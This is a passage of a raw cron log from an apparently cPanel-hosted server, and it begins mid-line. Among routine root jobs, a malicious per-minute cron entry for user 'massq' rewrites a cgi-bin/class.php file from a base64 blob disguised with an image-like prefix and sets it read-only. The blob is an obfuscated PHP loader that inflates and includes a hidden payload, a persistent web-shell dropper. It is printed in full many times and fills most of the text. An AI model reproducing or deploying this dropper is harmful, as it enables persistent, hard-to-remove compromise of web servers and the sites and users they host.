g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:40:01 server CROND[21086]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 16:40:01 server CROND[21089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:40:01 server CROND[21090]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 16:40:01 server CROND[21085]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 16:41:01 server CROND[21925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:41:01 server CROND[21926]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:41:01 server CROND[21927]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:42:01 server CROND[22303]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 16:42:01 server CROND[22304]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:42:01 server CROND[22305]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:42:01 server CROND[22306]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:43:01 server CROND[22674]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:43:01 server CROND[22675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:43:01 server CROND[22676]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:44:01 server CROND[23216]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:44:01 server CROND[23217]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:44:01 server CROND[23218]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:45:01 server CROND[23617]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:45:01 server CROND[23618]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 16:45:01 server CROND[23619]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 16:45:01 server CROND[23620]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:45:01 server CROND[23626]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:45:01 server CROND[23624]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 16:45:01 server CROND[23625]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 16:46:01 server CROND[24536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:46:01 server CROND[24537]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:46:01 server CROND[24538]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:47:01 server CROND[24917]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:47:01 server CROND[24916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:47:01 server CROND[24918]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:48:01 server CROND[25347]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:48:01 server CROND[25348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:48:01 server CROND[25349]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:49:01 server CROND[25722]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:49:01 server CROND[25723]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:49:01 server CROND[25724]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:50:01 server CROND[26099]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 16:50:01 server CROND[26101]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 16:50:01 server CROND[26112]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 16:50:01 server CROND[26109]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 16:50:01 server CROND[26110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:50:01 server CROND[26108]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:50:01 server CROND[26113]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:50:01 server CROND[26111]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 16:50:01 server CROND[26107]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 16:51:01 server CROND[26929]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 16:51:01 server CROND[26930]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:51:01 server CROND[26931]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 16:52:01 server CROND[27398]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 16:52:01 server CROND[27399]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
